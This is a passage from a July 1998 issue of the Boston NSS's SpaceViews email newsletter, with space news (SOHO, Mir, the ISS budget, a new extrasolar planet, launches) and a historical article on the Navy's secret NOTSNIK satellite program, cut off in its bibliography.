2],"-----Original Message----- From: SpaceViews-approval@nss.org [mailto:SpaceViews-approval@nss.org] Sent: Wednesday, July 01, 1998 10:58 AM To: undisclosed-recipients:; Subject: SpaceViews -- July 1998 by Boston NSS [part 1 of 2] This is the July 1998 ""SpaceViews"" (tm) newsletter, published by the Boston chapter of the National Space Society. For a description of related e-mail lists maintained by the Boston NSS, or to stop receiving this SpaceViews newsletter, see the instructions at the end of part 2 of this issue. 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All articles in SpaceViews represent the opinions of the authors and do not necessarily represent the views of the Editor, the National Space Society (NSS), or the Boston chapter of the NSS. ==================== S P A C E V I E W S Volume Year 1998, Issue 7 July 1998 http://www.spaceviews.com/1998/07/ *** News *** SOHO Spacecraft Tumbles, Feared Lost Energia Threatens to Abandon Mir Congress, Goldin Debate Space Station Nearby Extrasolar Planet Discovered Mars Pathfinder Science Work Continues Lewis Spacecraft Failure Report Released HALO Launch Attempt Fails Beal Aerospace Plans Larger Booster Third Ariane 5 Launch Delayed to October Atlas Launches Comsat, Zenit Delayed SpaceViews Event Horizon Other News *** Articles *** NOTSNIK: The Navy's Secret Satellite Program [continued in part 2] Doing Space: Making It Happen *** Book Reviews *** Comets Friend and Foe Filling in the Drake Equation *** NSS News *** Upcoming Boston NSS Events Boston NSS June Lecture Summary Philadelphia Area Space Alliance News *** Regular Features *** Jonathan's Space Report No. 364 Space Calendar Editor's Note: On our reader survey earlier this year, we asked if people would be interested in a weekly update version of SpaceViews. The response was overwhelmingly in favor of such a feature. So, I'm proud to announce that later this summer SpaceViews will be coming out approximately weekly (actually, four times a month: on the 1st, 8th, 15th, and 22nd of the month, at least initially, to maintain a regular schedule.) This change will take effect by September, and perhaps earlier in August. This change should also alleviate one of the problems people have had about the e-mail issues: their large size! Many mail programs, such as America Online's, have problems with large files, and either split them into smaller pieces or convert them into file attachments. By spreading the content out over four issues a month, instead of two, we hope to reduce or eliminiate this problem. If you have any questions, comments, suggestions, or concerns about this change, contact me at jeff@spaceviews.com. A couple of minor notes: We're experiencing some technical problems with the Web site right now, because of unannounced changes by the company that hosts the site. The site is up, but some features may be unavailable. We apologize for the problems and hope to have everything working by later today. Also, the July 15 issue of SpaceViews Update may be delayed a few days while the editor is traveling. Regards, Jeff Foust Editor, SpaceViews -- http://www.spaceviews.com/ jeff@spaceviews.com *** News *** SOHO Spacecraft Tumbles, Feared Lost Controllers lost contact with the NASA/ESA Solar and Heliospheric Observatory (SOHO) spacecraft late Wednesday, June 24 as the spacecraft apparently lost control, and mission officials fear the spacecraft may be a total loss. Contact was lost with SOHO at 7:16pm EDT (2316 UT) June 24, during a routine maintainence period. The spacecraft entered an Emergency Sun Reacquisition (ESR) mode at that time, as it fired its thrusters in an effort to realign itself with the Sun. However, all telemetry was lost from the spacecraft and has not been regained. Efforts to raise the spacecraft using NASA's Deep Space Network over the last sveral days have not succeeded. Engineers have continuous access to a 34-meter (112-foot) antenna ""for the next few days"" to transmit commands to the spacecraft at 10 times the normal power, according to project officials. A 70-meter (230-foot) antenna is also being used to try and pick up telemetry from SOHO. Launchspace magazine reported that its sources within the SOHO project think it is likely contact will not be regained with SOHO, and the spacecraft will be a total loss. NASA was more optimistic, however, in a June 30 press release. Engineers believe the spacecraft is spinning such that the solar panels do not see the Sun. However, the angle of the spacecraft is changing as it goes around the Sun, increasing the amount of sunlight falling on the panels each day. Engineers believe that within a few weeks, the panels may be generating enough energy to power up the spacecraft's batteries and permit communications with Earth to be restored. A joint NASA/ESA inquiry board was announced June 30 to investiagate the incident. The board will be chaired by Prof. Massimo Trella, ESA Inspector General, and Dr. Michael Greenfield, Deputy Associate Administrator for the Office of Safety and Mission Assurance at NASA. SOHO was launched on an Atlas II rocket on December 2, 1995 from Cape Canaveral. It completed its nominal two-year science mission in April, although daily scientific operations jhave continued since then. The spacecraft is in a ""halo orbit"" around the Earth-Sun L-1 libration point, about 1.5 million kilometers (900,000 miles) sunward of Earth. Engineers believe they can successfully predict the location of SOHO for about five months, before orbital pertubations force SOHO out of its halo orbit. The spacecraft features twelve instruments, three from the U.S. and nine from Europe, dedicated to the study of the Sun. Findings made by scientists using SOHO data include an explanation for the extremely high temperatures of the solar corona, the discovery of ""sunquakes"" on the photosphere, and the discovery of more than 50 sungrazing comets. Energia Threatens to Abandon Mir Energia, the Russian company that operates the space station Mir for the Russian Space Agency (RSA), said Friday, June 26 that it would abandon the station as early as August if the space agency does not pay any of the money it owes for station operations. Energia officials say RSA owes the company 440 million rubles (US$70 million) in station operations costs for this year. RSA has not paid any of the money it owes this year, Energia said. A decision to abandon Mir could come as soon as July, several weeks in advance of the scheduled launch date of the next crew. The current crew of Talgat Musabayev and Nikolai Budarin is due to return in August. Their stay cannot be extended because of the limited lifetime of the Soyuz return vehicle currently docked to Mir. Energia officials met with RSA leaders on Friday to discuss the status of the station and to consider ""nonstandard solutions"" to the problem, according to Itar-Tass. Those nonstandard solutions were not publicly discussed. Energia president Yuri Semyonov said the company wants to keep Mir operational, but believes it is the Russian government's responsibility to pay for it. ""We are absolutely against abandoning the station, and if we do that it will be the government's responsibility,"" he said. RSA director Yuri Koptev agreed the situation is serious. ""If we cannot act, there will be a situation when we will have to lift off the crew from the Mir in August and close the station,"" he said. If abandoned, Mir would likely lose attitude control and start tumbling after a short time. It could then reenter the Earth's atmosphere uncontrolled, with the danger of large pieces landing intact in urbanized areas. RSA currently plans to deorbit Mir in a series of controlled thruster burns, with the goal of reentering the station over the Pacific by the end of 1999. The first of four thruster burns was to take place earlier this month, but was postponed when budget problems prevented the timely launch of a replacement cargo vehicle that would have been used in the deorbiting procedure. Congress, Goldin Debate Space Station Projected cost overruns in the International Space Station project was the subject of considerable debate during Congressional hearings Wednesday, June 24, as NASA Administrator Dan Goldin defended the program, predicting dire consequences if the station was canceled. ""If we cancel the space station, we will be canceling manned space flight,"" Goldin said at a meeting of the House Science Committee. ""If we cancel the program, we will be a second-class power and there would be international repercussions."" The hearing was convened after the release the previous week of NASA's response to the independent Chabrow report, which concluded earlier this year the station would need up to an additional $3 billion and three years before completion. NASA agreed with most of the conclusions in the Chabrow report, although claimed the additional costs could be held to a little over $1 billion with a delay of one year. Members of the committee asked Goldin what steps the agency was taking to deal with the station's problems, including a number of delays in the completion of the Russian-built Service Module. Goldin did not give specifics but said a number of plans were being evaluated. Goldin's assurances that NASA was working on the problem did not soothe members of the committee, who attacked NASA and the Clinton Administration for failing to do enough to support the station and deal with Russian delays. The program was likened to a ""fine kettle of fish that are starting to smell,"" in the words of Rep. Vernon Ehlers (R-MI), while Rep. Sherwood Boehlert (R-NY) said that Goldin's optimistic opening statement ""looked like Mary Poppins wrote it."" While there is little the committee can do at the present time to affect the space station, committee chairman F. James Sensenbrenner (R-WI) said he and ranking minority member George Brown (D-CA) sent a letter to the White House, asking the Office of Management and the Budget to deliver a plan to Congress in 30 days to deal with the space station. ""We need a plan, not a continuing series of ad hoc adjustments to the latest station funding or programmatic crisis,"" Brown said. Meanwhile, another person testifying before the committee said the station costs could grow even further. Allen Li of the General Accounting Office said more money may be needed to track orbital debris and protect the station from it. ""NASA's requirements for space debris tracking will require the Defense Department to upgrade their capabilities,"" Li told the committee. Such upgrades and additional station shielding could cost up to $5 billion, he said. Nearby Extrasolar Planet Discovered Two astronomers who are among the world's leaders in the discovery of extrasolar planets reported this week they they have discovered another extrasolar planet orbiting a star near the Sun. Geoffrey W. Marcy of San Francisco State University and Paul Butler of the Anglo-Australian Observatory, and colleagues, reported at a conference Monday, June 22 that they had discovered a planet orbiting the star Gliese 876, just 15 light-years from Earth. The planet has a mass about 1.6 times that of Jupiter, our solar system's largest planet, and orbits the star about 0.2 astronomical units (30 million kilometers, 18.6 million miles) away. It takes 61 days for the planet to complete an orbit around Gliese 876. The discovery has been confirmed by a European team of astronomers led by Xavier Delfosse of Geneva Observatory in Switzerland. ""It's very convincing that they have confirmed the finding,"" Marcy told Science News. Gliese 876 is a small star with only about one-third the mass of the Sun and one-fortieth its brightness. It's the smallest star yet around which planets have been discovered. the discovery hints that planetary systems ""may be a common occurrence among stars that are quite different from the Sun,"" Marcy said. Calculations by Didier Saumon of Vanderbilt University show that the planet, presumed to be a gas giant like Jupiter, would have a temperature at its cloudtops of about -76 degrees Celsius (-105 degrees Fahrenheit). While far below the temperature of liquid water, it would be possible for it to exist in deeper, warmer layers of the planet. Marcy warned, though, that ""we shouldn't go into a feeding frenzy about this,"" noting that liquid water could not aggregate together into an environment supportive of life. Any moons the planet might have, though, could be more hospitable to life. The discovery brings to 12 the number of extrasolar planets discovered, Marcy said. Astronomers in Geneva are expected to announce the discovery of additional extrasolar planets in the next few weeks. Mars Pathfinder Science Work Continues Scientists are continuing to analyze the data returned by the Mars Pathfinder spacecraft, nearly a year after it landed on the Red Planet, and are coming up with some surprising conclusions about the history of the landing site. ""Many of the things that we said last summer during the excitement of the landing have held up well,"" project scientist Matthew Golombek said at a press conference June 29. ""But we have now had more time to study the data and are coming up with some new conclusions."" Much of the work is focused on the nature and origin of the geology in the landing site, located in Ares Vallis. The area had been considered a likely site of flooding during Mars's warmer, wetter past, a conclusion supported by Pathfinder data. However, Golombek said little has changed in the landing site over the last two or more billion years, with the exception of some wind erosion. Golombek speculated that the flooding in Ares Vallis took place after a major climate change that made Mars cold and dry took place. The winds that are slowly stripping away the rocks at the Pathfinder landing site are likely depositing material elsewhere on the planet, Golombek said. ""Amazonis Planitia, for example, probably has one to two meters [3.3 to 6.6 feet] of fine powdery dust that you would sink into if you stepped on it,"" he noted. Scientists are also trying to understand how rocks enriched with silicon that Pathfinder and its rover Sojourner found could have been formed. The rocks are similar to andesites found in Iceland and the Galapagos Islands on Earth, according to spectrometer scientist Joy Crisp. Crisp said the rocks could have been formed by volcanic processes, like on Earth, or through sedimentary processes driven by water. The rocks could also have been formed in a meteor impact, and may be more ordinary basaltic rocks with a high-silicon outer coating caused by weathering. Crisp said one way to determine how the rocks were formed is to study their textures. However, she noted, there isn't enough information in the Pathfinder images to come to any conclusions about their origin based on this technique. Other research has focused on dust devils, localized spiraling, gusting winds seen on Mars as well as Earth. Steven Metzger of the University of Nevada analyzed Pathfinder images downloaded from the Internet and applied special processing techniques to them to discover several more dust devils, including five seen on a single Martian day. Dust devils may be one way to explain how the Martian surface is covered with the same kind of magnetic iron- and silicon-rich soil, according to JPL planetary scientist Diana Blaney. Blaney also said meteor impacts into wet regolith early in Martian history may have helped form the soil, although she said the formation is a ""very complicated story."" Mars Pathfinder landed on Mars on July 4, 1997. It and its rover, Sojourner, returned data on the Martian surface and atmosphere until late September, when a battery on the lander apparently died. The mission was officially ended November 4, although a final, unsuccessful effort to contact the lander was made in March. Scientists are now turning their attention to the two 1998 Mars missions, scheduled for launch at the end of the year and early 1999. Mars Climate Orbiter will study Martian weather from orbit, while the Polar Lander will set down in the layered terrain near the south polar cap in an effort to understand and nature and composition of the layers of dust and ice there. Lewis Spacecraft Failure Report Released A combination of a flaw in an attitude control system and insufficient monitoring by ground personnel led to the failure of the Lewis spacecraft just days after launch last August, a review board reported Tuesday, June 23. The Lewis Spacecraft Mission Failure Review Board did conclude that NASA's new ""faster, cheaper, better"" management philosophy, of which Lewis was one of the first products, was sound, but not effectively applied for this program. The spacecraft, launched August 23, 1997, went into a flat spin three days after launch. The spin cut power and communications to the satellite, which were never restored. Unable to adjust its orbit, the spacecraft reentered the Earth's atmosphere a month later and was destroyed. The spacecraft used an attitude-control system adapted from one used on the Total Ozone Mapping Spectrometer (TOMS) spacecraft. The board found that TRW, builders of both spacecraft, failed to properly test the attitude-control system on Lewis, which was stabilized differently that TOMS. After launch, the spacecraft started to spin up, perhaps by imbalances from thruster firings. The spin eventually overloaded the spacecraft's control system while it was in an autonomous ""safehold mode"", leading to the out-of-control spin. The board also concluded that project managers erred in believing the spacecraft could be adequately controlled in safehold mode with only a small ground crew to monitor the status of the spacecraft. These errors combined caused the failure of the mission. Lewis was a $65-million spacecraft designed to test advanced instruments and technologies useful for remote-sensing spacecraft. It and a companion spacecraft, Clark, were cornerstones of NASA's philosophy of ""faster, cheaper, better"" started by administrator Dan Goldin. The Clark spacecraft was canceled earlier this year because of cost overruns and concerns that the spacecraft would not be able to meet its intended goals. The failure of Lewis should not be construed as a failure of this philosophy, though, the board noted. ""I do not think that this concept [""faster, cheaper, better""] is flawed,"" said Christine Anderson, chair of the failure board. ""What was flawed in the Lewis program, beyond some engineering assumptions, was the lack of clear understanding between NASA and TRW about how to apply this philosophy effectively."" ""NASA's Office of the Chief Engineer is developing 'lessons learned' from this project and other 'faster, cheaper, better' efforts,"" said Dr. Ghassem Asrar, NASA associate administrator for Earth Science, ""and we intend to apply them to all our future missions."" HALO Launch Attempt Fails In an event project officials called ""embarrassing, but not disaster,"" an attempt to launch an amateur-built rocket into space failed Saturday, June 21 when the rocket slipped out of its launch cradle as its balloon lifted off. A helium-filled balloon lifted off from a NASA barge in the Gulf of Mexico southeast of New Orleans late Saturday morning. The balloon was to carry the Project HALO (High-Altitude Lift-Off) Sky Launch 2 rocket to 30,000 meters altitude (100,000 feet) before the rocket engine fired. However, a balloon tether snagged on the rocket as the balloon lifted off, lifting the rocket off its launch cradle unde the balloon. The rocket fell 1.5 meters (five feet) to the deck of the barge as the balloon floated skyward. The rocket suffered some minor damage in the fall, including a cracked nosecone, broken fin, and a dent in the oxidizer tank, but the rocket appeared to have escaped major damage. After the launch, HALO team members said a new launch may be attempted in late fall, provided about $5,000 can be raised to cover repair costs. Project officials said the NASA barge used for the June launch would not be available for future launches, requiring the team to find their own launch site, file with the FAA, and possibly purchase liability insurace, whose premium could far exceed the cost of the rocket. HALO team members had hoped a successful launch would make the rocket the first amateur-built rocket to fly into space. The suborbital rocket would have to have flown above an altitude of 91.6 km (56.8 mi, 50 nautical miles),the NASA and the U.S. Air Force definition of the boundary of space. The hybrid SL-2 rocket uses a combination of solid and liquid fuels. In this system, the solid fuel, pure asphalt, is safely kept away from the liquid propellant, nitrous oxide (better known as ""laughing gas"") until the rocket is ignited. The fuel combination provides about 85% of the efficiency of the best solid-propellant systems, HALO team members say. HALO, a project of the Huntsville, Alabama chapter of the National Space Society, has relied on volunteer labor and donations to develop their ""rockoon"" launch system. Saturday's launch did include support from NASA, as the space agency provided the launch barge and the helium for the balloon. Beal Aerospace Plans Larger Booster Beal Aerospace, a Texas-based startup launch firm, announced last week it was skipping plans for a smaller expendable booster in favor of moving directly ahead to a more powerful rocket capable of competing with the largest existing commercial offerings. The company is scrapping plans for the BA-1 booster in favor of the larger BA-2, according to a June 16 company announcement. The BA-2 will be able to place 5,000 kg (11,000 lbs.) -- two medium to large communications satellites -- in geostationary transfer orbit. The BA-2 would directly compete with such rockets as the Ariane-5. ""The BA-2 has always been the ultimate goal,"" said company CEO Andrew Beal. ""Given our past successes, I am extremely confident that we can develop the BA-2 and dramatically reduce the cost of space launch."" The three-stage BA-2 will use what's billed as the world's largest rocket engine, a hydrogen peroxide-fueled engine capable of producing 13.4 million newtons (3 million pounds of thrust), twice that of the F-1 engine used in the Saturn V. ""Hydrogen peroxide is key to the simplicity of our design,"" said program manager Scott Frazier. ""It is safe, environmentally benign, and has fundamentally different combustion properties which bypass previous engine development problems associated with large thrust chambers."" A scaled-down version of the engine was tested successfully in late May and early June, the company said. No date for the first launch of the BA-2 was announced. The company had planned to start launching the BA-1 by late 1997, using a launch site on Sombrero Island in the Caribbean. The company has an option to lease the launch site from the island nation of Anguilla. Third Ariane 5 Launch Delayed to October The European Space Agency announced Tuesday, June 16, that the third launch of the heavy-lift Ariane 5 booster has been delayed to October because of a change in payload. Ariane 503 was scheduled for a September launch, carrying the Eutelsat W2 communications satellite and the Atmospheric Reentry Demonstrator (ARD), a technology demonstration satellite. However, Eutelsat decided last week to fly its W2 satellite on an existing Ariane 4 booster after its W1 satellite was damaged during tests at an assembly facility in France. The W1 satellite was to fly on the Ariane 4 in July. ESA and Arianespace, builders of the Ariane rocket, were unable to find a commercial payload for the Ariane 503. ""The search for a new passenger cannot be reconciled with the planning schedule leading to entry of Ariane-5 into operational service,"" ESA said in a press release. In place of the W2 satellite, ESA will fly a ""representative mock-up"" of the W2 satellite, making the ARD the only real payload for the launch. The time needed to build and test the mock-up will delay the launch from September to mid-October. The flight is the last of three qualification flights planned for the heavy-lift booster. The first flight, Ariane 501, ended in failure less than a minute after launch in June 1996 when the booster veered off course. Problems with the control software were blamed for the failure. Ariane 502 lifted off last October, carrying two test satellites. However, the main engine of the booster shut down early, placing the satellites in the wrong orbit. The error was traced to excessive roll torque in the engine, a problem since corrected. The ARD is a unmanned spacecraft designed to test critical reentry technologies. It will fly a suborbital mission, reentering over the Pacific Ocean and splashing down. Technologies tested in the ARD may later be used in plans for a European crew transfer vehicle launched by the Ariane 5, possibly based on the American X-38 vehicle being tested as a space station lifeboat. Atlas Launches Comsat, Zenit Delayed An Atlas II booster launched an Intelsat communications satellite June 19 while the launch of a Ukrainian Zenit booster was delayed by at least a week June 24 by problems with its guidance system. The Atlas IIAS lifted off at 6:48pm EDT (2248 UT) from Cape Canaveral, Florida. The Intelsat 805 satellite separated from the booster about a half-hour after launch. The satellite, which will take up a position in geosynchronous orbit at approximately 60 degrees West, will be used to relay communications between the Americas and Europe. Those communications are planned to include video and electronic communications. The launch of the Zenit-2 from Baikonur, Kazakhstan, was scheduled for June 23 but delayed a day by problems with the booster's orientation system. The unit was repaired, but failed again before Wednesday's scheduled launch. The booster will be taken off the launch pad to an assembly shop for repairs, a spokesman for the Russian Space Agency told Itar-Tass. Repairs will take at least a week to complete, he said. The Zenit-2 will launch five satellites. The main payload is a Russian Resurs remote sensing satellite, designed to return environmental and weather data. Four smaller satellites, representing several nations including Chile, Thailand, and Israel, will perform a variety of experiments. The launch is the first for the Zenit since a May 1997 launch ended in an explosion shortly after liftoff. The Zenit has experienced other launch failures in the recent past as well. SpaceViews Event Horizon July 1: North American preimere of asteroid-impact movie ""Armageddon"" July 1: Launch of Zenit booster from Baikonur, Kazakhstan, carrying five satellites July 4: Launch of M-5 booster carrying Japanese Planet-B spacecraft (Mars mission) July 14: Launch of the Sinosat 1 communications satellite on a Long March 3B. July 21: Galileo flyby of Europa August 13-16: Mars Society Founding Convention, Boulder, Colorado Other News HGS-1 in Earth Orbit: The HGS-1 (formerly AsiaSat 3) satellite entered geosynchronous orbit June 17, after completing two flybys of the Moon. Launched on Christmas Day last year, the satellite was stranded in an inclined transfer orbit when the upper stage of its Proton booster failed. Engineers at Hughes, working with the satellite's insurers, guided the spacecraft on a trajectory that allowed the spacecraft to reach geosynchronous orbit using only the limited feul supplies onboard. Hughes Global Services is now looking for customers for the satellite, temporarily stationed over the Pacific. ""The lunar recovery mission team did an outstanding job,"" HGS president Ronald Swanson said. ""It really validates the viability of this technique for future missions."" Comet Discovery Award: Amateur astronomers who discover new comets will now not only win fame, they'll win fortune, too -- up to $20,000 in prize money in an award announced by the Smithsonian Astrophysical Observatory (SAO) June 15. The Edgar Wilson Award, named after a late Kentucky businessman with an interest in astronomy, will provide prize money for comets discovered by amateur astronomers using amateur equipment. The prize money will be divided among all qualifying amateurs based on the number of comets each astronomer discovers. Prizes will be awarded on a yearly basis, with the first prizes to be announced around July 1, 1999. International Mars Collaboration: The United States and France may work together on a Mars sample return mission slated for a 2005 launch, officials from the two countried announced June 18. Under the proposed agreement CNES, the French space agency, would provide an Ariane-5 booster to launch the spacecraft and some spacecraft components, including an orbiter. NASA would provide the lander, rover, and other equipment, and retain overall management of the mission, with participation by American and French scientists. The announcement comes as the U.S. and Europe struggle to support future Mars missions: cost overruns and budget cutbacks have forced the Athena rover off a NASA 2001 lander, and the European Space Agency is struggling to fund its Mars Express mission, planned for 2003, at the same time as other space science projects. Hubble Discoveries: The Hubble Space Telescope has returned images of a giant dust disk, resembling the hubcap of a car tire, surrounding a suspected black hole in a distant galaxy. The dust disk, about 3,700 light years across in the galaxy NGC 7052, may have been formed by the collision of the galaxy with a smaller galaxy in the distant past. Astronomers have also used Hubble to uncover a warming trend on Triton, Neptune's largest moon. Triton's temperature has warmed by about five percent -- from 37 to 39 kelvins (-392 to -389 degrees Fahrenheit) -- since the Voyager 2 flyby in 1989. A team of astronomers led by Jim Elliot of MIT believe the warming trend is caused by seasonal changes, as Triton is approaching an ""extreme southern summer"" where much of the southern hemisphere of the moon is in constant sunlight. Commercial Radarsat Approved: A California company announced June 22 that it has received permission from the federal government to build and launch the world's first commercial radar satellite that can provide high-resolution images to government and private users. The Radar1 satellite, built by RDL Space Corporation, will provide 1-meter resolution images, day or night, in any kind of weather, starting in 2001. Such images are widely used by the Defense Department and have also been used, at much lower resolutions, for geological research. In Brief: Houston and Dolores Woods of Nashville, Tennessee, must be thankful they decided not to sleep in Saturday morning, June 13. A small lump of metal -- believed to be a meteorite -- struck their house and landed on their bed at around 9am. The Woods were not in bed at the time of impact. The meteorite was examined at a local science museum and turned over to the Smithsonian for further analysis... Cinescape OnLine reported last week that director James Cameron had approached NASA about flying on the shuttle to film a movie about the construction of the International Space Station. Both Cameron and NASA have denied those reports. NASA wouldn't want Cameron around the space station anyway, since Cameron directed ""Titanic""... The world preimere of the asteroid-impact movie ""Armageddon"" was held June 29 at the Kennedy Space Center. As more than one person pointed out, it's a bit ironic that NASA, which has announced additional support for the detection of potentially hazardous near-Earth objects, has thrown its support behind a movie that is far less credible (or perhaps far more unbelievable) than Deep Impact, which got essentially no NASA support... *** Articles *** NOTSNIK: The Navy's Secret Satellite Program by Andrew J. LePage Introduction Like the other branches of the United States military during the early years of the Space Age, the Navy's ""space program"" actually consisted of several, largely independent space projects run by different internal bureaus and laboratories. While the Navy Research Laboratory (NRL) ran the Vanguard program under the watchful gaze of the public, the Naval Ordnance Test Station (NOTS) at China Lake, California was secretly conducting an independent military satellite program whose existance was not acknowledged until 1994. NOTS, under the direction of the Navy's Bureau of Ordnance (BuOrd), had been responsible for the development rocket-based weapons for the Navy since its inception in 1943. During the years leading up to the Space Age, engineers and scientists at NOTS were already busy performing research on suborbital and satellite ocean surveillance systems. With the launch of Sputnik, a NOTS team proposed an all-solid-fuel launch vehicle based on the motors in the Army's Sargent missile. However, the Army turned down their request for the rocket motors. Undetered, NOTS engineers went back to the drawing board and by early 1958 came up with a remarkably innovative means of orbiting a payload with available hardware. The new NOTS satellite proposal, called ""Project Pilot"", used a six-stage air-launched system capable of orbiting a 1.05 kilogram (2.3 pound) satellite. This system would serve as a technological pathfinder for the Navy's future rapid response reconaissance systems. The technical director of BuOrd's new space program office, John Nicolaides, approved the project and development immeadiately proceeded with a $300,000 budget and a four month deadline. Subsequently Project Pilot received the nickname ""NOTSNIK"" based on a combination of NOTS and Nicolaides' name but also partly as a play on the ""Sputnik"" moniker. The NOTSNIK Launch Vehicle The ""first stage"" of NOTSNIK was a specially modified Douglas F4D-1 ""Skyray"" jet fighter supplied by BuAer. When the F4D-1 entered service in 1956, it was the Navy's first carrier-based delta-winged jet fighter. The 13.9 meter (45.67 foot) long F4D-1 to be used for NOTSNIK, serial number 130745, was a specially modified, stripped down version used for high speed trial flights. With its Pratt and Whitney J57-P-2 turbojet on full afterburner, this plane was capable of attaining speeds of Mach 1.05. The tight clearances and limited payload capability of the Skyray set the limits on the size and weight of the subsequent five stages of the NOTSNIK launch vehicle. This rocket had a total length of 4.38 meters (14.4 feet), a fin span of 1.65 meters (5.42 feet) and weighed only 950 kilograms (2,100 pounds). Even with the mass of the Skyray included, NOTSNIK is the smallest known system ever built to launch satellites. The rocket was mounted on a standard Aero 7A bomb rack under Skyray's port wing. A fuel tank of like mass was carried under the starboard wing to balance the load. During a launch, the Skyray would proceed at an altitude of 10.7 kilometers (35,000 feet) to the air-drop zone located in the Navy's test range over the Santa Barbara Channel in the Pacific Ocean just west of Los Angeles. Before release the pilot would start a 2-G pullup at Mach 0.9 to start a ""bomb toss"" manuever. At an altitude of 12.5 kilometers (41,000 feet), the rocket would be released at a speed of 742 kilometers (461 miles) per hour and an angle of 50 degrees to the horizon. Three seconds later the first of the solid rocket stages would ignite. The second and third ""stages"" of NOTSNIK made use of a common airframe. Each ""stage"" consisted of a pair of modified HOTROC motors like those used by the Navy's ASROC anti-submarine weapon and produced 126.4 kilonewtons (28,400 pounds) of thrust for 4.86 seconds. During ascent the burn of the second stage would be followed by a 12 second coast before the third stage ignited. After third stage burnout, the vehicle would coast for another 100 seconds. At an altitude of 79.4 kilometers (49.4 miles) the second/third stage structure was jettisoned and the fourth stage was ignited. This stage consisted of an X-241 rocket motor manufactured by the Allegheny Ballistic Laboratory. Based on the X-248 motor developed for the NRL Vangaurd rocket, the X-241 produced 12.11 kilonewtons (2,720 pounds) of thrust for 36 seconds. After another coast of three seconds, the fifth stage would come to life. This 14.9 kilogram (32.9 pound) motor was designed at NOTS and produced 5.14 kilonewtons (1,155 pounds) of thrust for 5.7 seconds. After this stage burned out, NOTSNIK was travelling at 8.44 kilometers (5.25 miles) per second in a near-polar orbit with a apogee of about 2,400 kilometers (1,500 miles). But with a perigee of about 60 kilometers (40 miles), this orbit would be very short-lived. A small 568 gram (1.25 pound) solid rocket sixth stage integrated with the satellite payload would be fired 53 minutes and 20 seconds after release. Also developed at NOTS, this tiny motor produced 765 Newtons (172 pounds) of thrust for one second and would raise the NOTSNIK satellite's perigee to a safe 2,250 kilometers (1,400 miles) allowing the mission to begin. The NOTSNIK Satellite With a mass of 1.05 kilograms (2.3 pounds) and a diameter of 20 centimeters (8 inches), the doughnut-shaped NOTSNIK satellite is among the smallest orbital payloads ever launched. This battery-powered satellite was constructed at NOTS China Lake facility and carried a single instrument - an infrared ""television"" scanner. Similar to the units supplied by the Navy for the USAF lunar orbiters, this simple imager was hardly a ""television"" in the usual sense. A small mirror focused light onto an infrared detector which would use the rotation of the satellite to scan a line in the scene. The forward motion of the satellite itself would then allow a picture to be built one line at a time. While the crude images produced by this system would have little intelligence value, the experienced gained would be valuable in developing more capable follow-on systems. The images produced by the satellite would be transmitted to a network of about a half dozen portable MINITRACK stations scattered around the globe. Because of the small size of the satellite, the system would only operate for about three orbits before the batteries were depleted, long enough to verify that orbit had been achieved and attempt to secure some images. Since orbital reconnaissance was a touchy subject at the time, NOTSNIK and its mission were kept top secret. Except for those with a need to know, NOTSNIK's ""cover story"" was that it was to conduct radiation measurements in support of Project Argus which would assess the effects of nuclear detonations in space. The satellite's small size and short lifetime made it unlikely that it would be detected by anyone outside the program. Hardware development proceeded at a rapid pace during the spring of 1958. But before actual flights of the system, a pair of ground-launched test flights were to be performed to assess the modifications made to the HOTROC motors. A NOTSNIK rocket mockup with two live HOTROC motors was prepared for launch from the G-2 test range at China Lake on July 4, 1958. In an unintended Independence Day fireworks display, the rocket exploded one second after launch. An investigation of the failure indicated that a crack in the solid rocket motor's grain was at fault. A second ground test firing two weeks later was even less successful. With eight seconds left in the countdown, a glitch in the electrical system caused the rocket to blow up on the test stand. Despite the two failures, project managers proceeded with an orbital attempt based on their engineers' past experience and their faith in this simple launch system. NOTSNIK Launch Attempts On July 25, 1958, only a week after the last unsuccessful NOTSNIK ground test, Navy Pilot Commander William W. West climbed into the cockpit of the BuAer Skyray carrying a NOTSNIK rocket in the first all-up test flight. Once Commander West reached the the drop zone, he performed the required pullup maneuver and released the rocket. Because of the sudden loss of weight from his port wing, West's Skyray banked sharply to the right making further observations of the rocket difficult. With the sudden burst of smoke and flame from the ignition of the second stage, West and the pilot of the chase plane lost sight of the rocket and assumed it had failed. While most of the tracking network shutdown after the apparent failure, the station in Christchurch, New Zealand did not and reportedly detected the NOTSNIK satellite in orbit. While no useful images could be extracted from the weak signal, it did appear that the launch was successful afterall. NOTSNIK thus became the first air-launched satellite - almost 32 years before the first Pegasus launch. With a success under their belt, a second orbital attempt was made on August 8, 1958. The HOTROC motors blew up on ignition ending the mission. Another pair of ground tests were conducted on August 16 and 17 to once again verify the design. Both flights failed about three seconds after ignition when their stabilizing fins broke free. Obviously the structure had difficulties with the stresses of launch and required changes. With little time left before the end of the program, the remaining four NOTSNIK rockets were prepared for launch in rapid succession. The third orbital attempt on August 22, 1958 started well with the accelerating rocket observed disappearing over the horizon. Later signals were received by the New Zealand station during the scheduled first and third orbital passes apparently confirming that orbit had been achieved. As with the first mission, the signals were too weak to obtain usable images. The next mission flown on August 25 ended 3.75 seconds after release when one of the HOTROC motors exploded. The following day the fifth attempt ended when the rocket failed to ignite and fell into the Pacific. The final NOTSNIK orbital attempt on August 28 ended when the rocket broke up after a second stage HOTROC motor failed to ignite. With this last flight, the first phase of the NOTSNIK program drew to a close. Postscript Plans for additional NOTSNIK flights were not approved and development efforts instead shifted towards upgrading the existing rocket design. One project, called Caleb, sought to build an improved air-launch system but was eventually cancelled because of political pressure from the USAF who wanted to monopolize military space launches. While it would not launch payloads into orbit, Caleb did fly as part of the Navy's secret high altitude ""Hi-Hoe"" program with the last flight in 1962 reportedly reaching an altitude of 1,167.3 kilometers (725.5 miles). Another follow-on program, called NOTSNIK II, sought to develop an anti-satellite capability. This still-secret program is thought to have made at least two test flights during the early 1960s. The NOTSNIK rocket was not the only part of the program to continue development. The infrared scanner carried by the NOTSNIK satellite also flew on the ill fated USAF lunar probes as part of Operation Mona. After these failures to return usable data, the design was eventually flown as a secret secondary experiment on some early flights of the Navy's Transit experimental navigation satellite. The camera operated satisfactorily and returned usable images, thus vindicating its design and providing useful data for future imaging systems. Bibliography Peter Pesavento, ""US Navy's Untold Story of Space-Related Firsts"", Spaceflight, Vol. 38, No. 7, pp. 239-243, July 1996 Peter Pesavento, ""Secret Revealed About the Early US Navy Space Programme"", Spaceflight, Vol. 38, No. 7, pp. 243-245, July 1996 Joel W. Powell, ""Rockets Red Glare"", Quest, Vol. 3, No. 1, pp. 58-61, Spring 1994 Joel W. Powell, ""The Nots Air-Launched Satellite Programme"", Journal of the British Interplanetary Society, Vol. 